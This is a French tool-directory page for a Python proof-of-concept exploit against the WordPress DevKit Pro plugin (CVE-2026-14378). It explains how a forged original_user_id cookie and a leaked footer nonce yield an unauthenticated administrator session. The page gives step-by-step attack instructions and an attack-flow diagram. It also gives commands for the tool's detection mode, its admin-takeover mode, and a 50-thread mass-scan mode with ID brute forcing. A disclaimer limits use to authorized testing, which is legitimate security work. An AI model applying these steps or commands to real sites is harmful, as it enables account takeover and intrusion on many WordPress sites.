Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/murrez/cve-2026-19660
Scanners de VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsSécurité WebTests d'IntrusionAuthentificationRed Teaming
GitHubmurrez/cve-2026-19660

CVE-2026-19660

Scanner PoC Python et exploit pour CVE-2026-14378, une prise de contrôle de session administrateur avant authentification dans le plugin WordPress DevKit Pro via un cookie original_user_id falsifié.

Voir le dépôt
1il y a 20h 40mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-14378 — PoC de contournement d'authentification DevKit Pro

Scanner de preuve de concept et assistant d'exploitation pour CVE-2026-14378 : prise de contrôle de session administrateur non authentifiée dans le plugin WordPress DevKit Pro (dplugins) via un flux « revert » de changement d'utilisateur défectueux.

Légal : À utiliser uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test. Tout accès non autorisé est illégal. Ce dépôt est destiné à la recherche défensive, à la vérification et à la validation de correctifs.


Description du dépôt GitHub (copier-coller)

PoC for CVE-2026-14378: DevKit Pro ≤2.3.0 pre-auth admin takeover via forged original_user_id cookie + wp_footer revert_switch nonce. check/admin + mass scan.

Sujets suggérés : cve-2026-14378, wordpress, wordpress-exploit, devkit-pro, dplugins, authentication-bypass, poc, security-research


La vulnérabilité en un coup d'œil

CVECVE-2026-14378
ProduitDevKit Pro (éditeur : dplugins)
TypeContournement d'authentification → session administrateur complète (CWE-287)
AffectéToutes les versions ≤ 2.3.0
Corrigé3.0.0+ (changelog)
CVSS 3.19.8 Critique — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CNAWordfence

Avis associé (même produit, bug différent)

CVEProblèmeAuth
CVE-2026-14357Installation arbitraire de thème ZIP via DPDEV_install_themesAbonné+
CVE-2026-14378Prise de contrôle de session via revert de changement d'utilisateurAucune

Ce PoC cible uniquement 14378.


Cause racine (technique)

Le Users Manager de DevKit Pro peut usurper l'identité d'utilisateurs pour les tests. Lorsqu'un administrateur bascule vers un autre compte, le plugin stocke l'identité précédente dans un cookie client :

  • original_user_id — ID utilisateur du compte avant le basculement

Lorsque ce cookie est présent, le plugin affiche un contrôle « switch back » dans wp_footer sur le front end, incluant un nonce WordPress lié à l'action de revert.

Le gestionnaire revert_switch (AJAX) appelle verify_nonce_and_capability(), qui évalue incorrectement manage_options par rapport à l'utilisateur référencé par original_user_id, au lieu d'utiliser current_user_can() sur le demandeur réel (qui peut être totalement non authentifié).

Un attaquant peut :

  1. Définir Cookie: original_user_id=<administrator_user_id> (généralement 1).
  2. Demander n'importe quelle page publique et analyser le footer pour trouver le formulaire de revert / le nonce.
  3. POST vers wp-admin/admin-ajax.php avec action=revert_switch (ou un alias spécifique au plugin) et le nonce divulgué.
  4. Déclencher wp_set_auth_cookie() pour l'ID utilisateur falsifié → session administrateur authentifiée.

Contexte officiel de la fonctionnalité : Users Manager — switch back.


Flux d'attaque

sequenceDiagram
    participant A as Attacker
    participant W as WordPress (front end)
    participant P as DevKit Pro
    participant X as admin-ajax.php

    A->>W: GET / (Cookie: original_user_id=1)
    W->>P: wp_footer hook
    P-->>W: switch-back HTML + nonce
    W-->>A: page body contains nonce
    A->>X: POST action=revert_switch + nonce
    Note over P,X: capability checked for user 1, not attacker
    X-->>A: Set-Cookie wordpress_logged_in_*
    A->>W: GET /wp-admin/
    W-->>A: admin dashboard

Quand la vérification réussit ou échoue

La commande check est volontairement stricte : elle ne signale vulnérable que si un nonce de switch-back apparaît après falsification de original_user_id.

ObservationSignification probable
VULNERABLE — switch-back material leakedLe chemin d'exploitation fonctionne probablement ; confirmer en laboratoire avant admin.
not vulnerable (check): no switch-back nonce…DevKit corrigé (≥ 3.0.0), plugin non installé, Users Manager désactivé (désactivé par défaut), chemin de plugin personnalisé, cache/CDN supprimant le footer, ou mauvais site.
DevKit Pro readme not confirmedAucune empreinte publique readme.txt ; le plugin peut toujours être présent mais masqué — l'oracle reste le test décisif.
DevKit Pro <= 2.3.0 suspected + toujours aucun nonceUne version vulnérable peut être installée mais la fonctionnalité de switch n'est pas activée ou le footer n'est pas rendu sur les URLs testées.

Remarque : Un HTTP 200 sur /wp-content/plugins/.../readme.txt qui renvoie une page HTML complète est un soft 404 WordPress courant. Ce PoC valide le contenu du readme (en-tête Plugin Name:), pas seulement le code de statut.


Prérequis

  • Python 3.9+
  • requests
pip install requests

Optionnel : requirements.txt contient un minimum épinglé :

requests>=2.28.0

Installation

git clone https://github.com/YOUR_USER/cve-2026-14378-poc.git
cd cve-2026-14378-poc
pip install -r requirements.txt   # or: pip install requests

Utilisation

Cible unique — détection uniquement (sûr)

Ne complète pas la prise de contrôle ; teste uniquement l'oracle du nonce du footer.

python poc.py check https://target.example/
python poc.py check https://target.example/ --user-id 2
python poc.py check https://target.example/ --timeout 40

Cible unique — prise de contrôle de session

Tente un revert_switch complet et vérifie l'accès à /wp-admin/.

python poc.py admin https://target.example/
python poc.py admin https://target.example/ --user-id 1 --brute 5
python poc.py admin https://target.example/ --log successes.txt
OptionDescription
--user-idID utilisateur administrateur (ou cible) falsifié dans original_user_id (par défaut : 1)
--bruteEssayer les IDs 1..N lorsque le premier ID échoue
--timeoutDélai d'expiration HTTP en secondes (par défaut : 25)
--logAjouter les URLs admin réussies à un fichier (par défaut : logs.txt)

Scan de masse (fichier de liste)

Une URL par ligne ; les commentaires # et les colonnes supplémentaires après un espace sont ignorés.

# Detection only (recommended first pass)
python poc.py targets.txt

# Exploit attempts (authorized targets only)
python poc.py targets.txt admin

Si aucun fichier n'est passé en premier argument, le script demande un chemin de liste (même comportement que les scanners de masse hérités).

Le mode masse utilise un pool de threads (50 workers). Ajustez dans poc.py si vous atteignez des limites de débit.

Exemple de fichier de liste

# FOFA / manual imports
https://staging.example.com
example.org
192.0.2.10|wordpress|1.2.3   # only first token is used

Exemple de sortie

Vulnérable (check) :

[*] https://vulnerable.example
[+] DevKit Pro <= 2.3.0 suspected (stable tag 2.3.0)
[+] VULNERABLE — switch-back material leaked (action=revert_switch, nonce=a1b2c3d4…)

Non vulnérable (scan de masse typique) :

[*] https://patched.example
[!] DevKit Pro readme not confirmed (hidden path, WAF, or plugin absent)
[-] not vulnerable (check): no switch-back nonce in wp_footer with forged original_user_id cookie — patched DevKit, Users Manager off, or wrong target

Admin réussi :

Télécharger l’outil